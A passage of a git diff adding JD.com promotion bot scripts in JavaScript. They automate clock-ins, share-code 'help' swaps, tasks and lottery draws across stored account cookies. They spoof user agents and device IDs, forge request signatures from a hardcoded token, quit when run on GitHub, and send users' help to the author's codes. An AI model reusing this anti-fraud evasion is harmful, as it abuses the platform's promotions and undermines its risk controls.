Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_morningSc.js b/jd_morningSc.js new file mode 100644 index 0000000..57f59dc --- /dev/null +++ b/jd_morningSc.js @@ -0,0 +1,553 @@ +/* +活动:早起赢现金 +更新时间:2021-7-17 +入口:京东汽车-瓜分万元 +备注:支付一元才能参与活动,填写环境变量morningScPins给指定账号打卡 +TG学习交流群:https://t.me/cdles +30 7 * * * https://raw.githubusercontent.com/cdle/jd_study/main/jd_morningSc.js +*/ +const $ = new Env("早起赢现金") +const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` +let cookiesArr = [] +var pins = process.env.morningScPins ?? "" +let cookie = ''; +!(async () => { + await requireConfig() + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + if(!pins){ + console.log("未设置环境变量morningScPins") + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + pin = cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + if(!pins || pins.indexOf(pin)==-1){ + continue + } + $.cookie = cookie; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + data = await queryUserInfo() + if (!data?.body?.isClockDay) { + if(data?.body?.clockStatus){ + if(data?.body?.paymentStatus){ + console.log("已经打过卡了,明天再来打卡吧") + }else{ + console.log("已经打过卡了,未参加明天的打卡") + } + + }else{ + console.log("未参与打卡活动") + } + continue + } else { + + } + data = await clockIn() + if (data?.head?.code == 200) { + notify.sendNotify(`早起赢现金打卡成功,记得参与明天的打卡活动哦`); + } else { + notify.sendNotify(`早起赢现金打卡错误`, data); + } + } + } +})() + +function queryUserInfo() { + return new Promise(resolve => { + $.post({ + url: 'https://api.m.jd.com/client.action?functionId=morning_sc_queryUserInfo', + headers: { + 'Cookie': cookie, + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate, br', + 'User-Agent': ua, + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Host': 'api.m.jd.com' + }, + body: `adid=BC3866ED-A85F-40FA-830E-508F0F7226EE&body={}&build=167724&client=apple&clientVersion=10.0.6&openudid=84106e1c43687f454bfb69b7831034a7f02e2d62&sign=ddf05193cf9b3960b8bb486e1861a70f&st=1626353585939&sv=110` + }, (err, resp, data) => { + try { + data = JSON.parse(data) + if (data.data) { + console.log(data.data.bizMsg) + } + if (data.errorMessage) { + console.log(data.errorMessage) + } + } catch (e) { + $.logErr('Error: ', e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function clockIn() { + return new Promise(resolve => { + $.post({ + url: 'https://api.m.jd.com/client.action?functionId=morning_sc_clockIn', + headers: { + 'Cookie': cookie, + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate, br', + 'User-Agent': ua, + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Host': 'api.m.jd.com' + }, + body: `adid=BC3866ED-A85F-40FA-830E-508F0F7226EE&area=20_1726_22885_51456&body={}&build=167724&client=apple&clientVersion=10.0.6&d_brand=apple&d_model=iPhone10,4&joycious=94&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=84106e1c43687f454bfb69b7831034a7f02e2d62&osVersion=14.4.2&partner=apple&rfs=0000&scope=10&screen=750*1334&sign=493d44a41b6d852e024c75cbaacf51d2&st=1626478320220&sv=121&uemps=0-0&uts=0f31TVRjBSulv7BX1PVDEL+N224mGHmcXDxrm4KUU12U5TiWKO80M8NhmREN8AbYjX/cYxQZMj6dPyVM7JTDXDlk8K/RJ8KM1Yvh9BQ39IZXuuMt6KCAs0vkhr0Vpi91T+T36Xjdi/wgv3BzIR3BjFcMnccL+ht5gtKPSCNseuUCFsj9Sn6tgKI8QlIk4/oKAUhYBd5NKA+FS1ya0bJSBQ==&uuid=hjudwgohxzVu96krv/T6Hg==` + }, (err, resp, data) => { + try { + data = JSON.parse(data) + if (data.data) { + console.log(data.data.bizMsg) + } + if (data.errorMessage) { + console.log(data.errorMessage) + } + } catch (e) { + $.logErr('Error: ', e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function requireConfig() { + return new Promise(resolve => { + notify = $.isNode() ? require('./sendNotify') : ''; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve() + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GIT_HUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch (e) { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch (e) { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/jd_nnfls.js b/jd_nnfls.js new file mode 100644 index 0000000..ad983f8 --- /dev/null +++ b/jd_nnfls.js @@ -0,0 +1,584 @@ +/** + 京喜-首页-牛牛福利 + Author:zxx + Date:2021-11-2 + ----------------- + Update: 2021-11-17 修复任务 + ----------------- +先内部助力,有剩余助力作者 + cron 1 0,19,23 * * * https://raw.githubusercontent.com/ZXX2021/jd-scripts/main/jd_nnfls.js + */ +const $ = new Env('牛牛福利'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; +let cookiesArr = []; +let shareCodes = []; +let rcsArr = []; +let coin = 0; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie) + ].filter((item) => !!item); +}; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + $.index = i + 1; + $.cookie = cookiesArr[i]; + $.isLogin = true; + $.nickName = ''; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + res = await UserSignNew(); + // await drawUserTask(); + } + shareCodes = shareCodes.filter(code => code) + const author = Math.random() > 0.5 ? 'zero205' : 'ZXX2021' + await getShareCode('nnfls.json', author, 3, true) + shareCodes = [...new Set([...shareCodes, ...($.shareCode || [])])]; + if (shareCodes.length > 0) { + console.log(`\n*********开始互助**********\n`); + } + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.canHelp = true; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`====开始账号${$.UserName}===助力`) + if (rcsArr.includes($.UserName) > 0) { + console.log("不让助力,休息会!"); + break; + } + for (let j = 0; j < shareCodes.length; j++) { + if (!$.canHelp) { + break; + } + await help(shareCodes[j]); + await $.wait(1000); + } + } + console.log(`\n********执行任务抽奖**********\n`); + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`====开始账号${$.UserName}===`) + if (rcsArr.includes($.UserName) > 0) { + console.log("不让做任务,休息会!"); + continue; + } + await drawUserTask(); + } + +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + +function getShareCode(name, author = 'zero205', num = -1, shuffle = false) { + return new Promise(resolve => { + $.get({ + url: `https://raw.fastgit.org/${author}/updateTeam/main/shareCodes/${name}`, + headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + console.log(`优先账号内部互助,有剩余助力次数再帮作者助力`); + $.shareCode = JSON.parse(data) || [] + if (shuffle) { + $.shareCode = $.shareCode.sort(() => 0.5 - Math.random()) + } + if (num != -1) { + $.shareCode = $.shareCode.slice(0, num) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +async function help(sharecode) { + console.log(`${$.UserName} 去助力 ${sharecode}`) + res = await api('sign/helpSign', 'flag,sceneval,token', { flag: 0, token: sharecode }) + await $.wait(3000) + res = await api('sign/helpSign', 'flag,sceneval,token', { flag: 1, token: sharecode }) + if (res) { + switch (res.retCode) { + case 30014: + console.log('不能助力自己'); + break; + case 30010: + console.log('助力已满!'); + break; + case 30011: + console.log('助力次数已用完!'); + $.canHelp = false; + break; + case 30009: + console.log('已助力过!'); + break; + case 60009: + console.log('不让助力,先休息会!'); + rcsArr.push($.UserName); + $.canHelp = false; + break; + case 0: + console.log('助力成功'); + break; + default: + console.log('助力结果' + res.errMsg); + break; + } + } else { + console.log('助力失败!'); + } + await $.wait(2000) +} + +async function drawUserTask() { + res = await api('task/QueryUserTask', 'sceneval,taskType', { taskType: 0 }) + let tasks = [] + if (res.datas) { + for (let t of res.datas) { + if (t.state !== 2) + tasks.push(t.taskid ? t.taskid : t.taskId) + } + } else { + res = await api('task/QueryPgTaskCfg', 'sceneval', {}) + if (tasks.length === 0) { + for (let t of res.data.tasks) { + tasks.push(t.taskid ? t.taskid : t.taskId) + } + } + } + console.log(`总任务数:${res.datas && res.datas.length} 本次执行任务数: ${tasks && tasks.length}`) + await $.wait(2000) + + res = await api('task/QueryPgTaskCfg', 'sceneval', {}) + // console.log('tasks:', res.data.tasks && res.data.tasks.length) + // await $.wait(2000) + for (let t of res.data.tasks) { + if (tasks.includes(t.taskid ? t.taskid : t.taskId)) { + let sleep = (t.param7 ? t.param7 : 2) * 1000 + (Math.random() * 5 + 1) * 1000; + console.log(`任务名:${t.taskName} 浏览时间:${sleep / 1000} s`) + res = await api('task/drawUserTask', 'sceneval,taskid', { taskid: t.taskid ? t.taskid : t.taskId }) + await $.wait(sleep) + res = await api('task/UserTaskFinish', 'sceneval,taskid', { taskid: t.taskid ? t.taskid : t.taskId }) + // console.log(`${JSON.stringify(res)}`) + await $.wait(2000) + + } + } + + res = await api('active/LuckyTwistUserInfo', 'sceneval', {}) + let surplusTimes = res.data.surplusTimes + console.log('剩余抽奖次数', surplusTimes) + for (let j = 0; j < surplusTimes && coin >= 10; j++) { + res = await api('active/LuckyTwistDraw', 'active,activedesc,sceneval', { active: 'rwjs_fk1111', activedesc: encodeURIComponent('幸运扭蛋机抽奖') }) + if (res) { + if (res.retCode == 0) { + console.log('抽奖成功', res.data && res.data.prize ? res.data.prize[0].prizename : "") + } else { + console.log('抽奖失败', res.errMsg ? res.errMsg : "") + } + + } else { + console.log('抽奖失败,返回数据为空') + } + coin -= 10 + await $.wait(5000) + } + await $.wait(2000) +} + +async function UserSignNew() { + let fn = "sign/UserSignNew"; + let stk = "sceneval,source"; + let params = { source: '' }; + let res = await api(fn, stk, params); + if (res) { + if (res.retCode == 60009) { + console.log('风控用户,不让玩') + rcsArr.push($.UserName); + return res; + } + console.log('签到', res.retCode == 0 ? "success" : "fail") + console.log('助力码', res.data.token) + shareCodes.push(res.data.token); + coin = res.data.pgAmountTotal + console.log('金币', coin) + } + return res; +} + + +function decrypturl(url, stk, params, appId = 10012) { + for (const [key, val] of Object.entries(params)) { + url += `&${key}=${val}` + } + url += '&h5st=' + decrypt(url, stk, appId) + return url +} + +function decrypt(url, stk, appId) { + stk = stk || (url ? getJxmcUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date().Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.Jxmctoken && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.Jxmctoken, $.fingerprint.toString(), timestamp.toString(), appId.toString(), CryptoJS).toString(CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.Jxmctoken = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.Jxmctoken}${$.fingerprint}${timestamp}${appId}${random}`; + hash1 = CryptoJS.SHA512(str, $.Jxmctoken).toString(CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getJxmcUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = CryptoJS.HmacSHA256(st, hash1.toString()).toString(CryptoJS.enc.Hex); + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat(appId.toString()), "".concat($.Jxmctoken), "".concat(hash2)].join(";")) + } else { + return 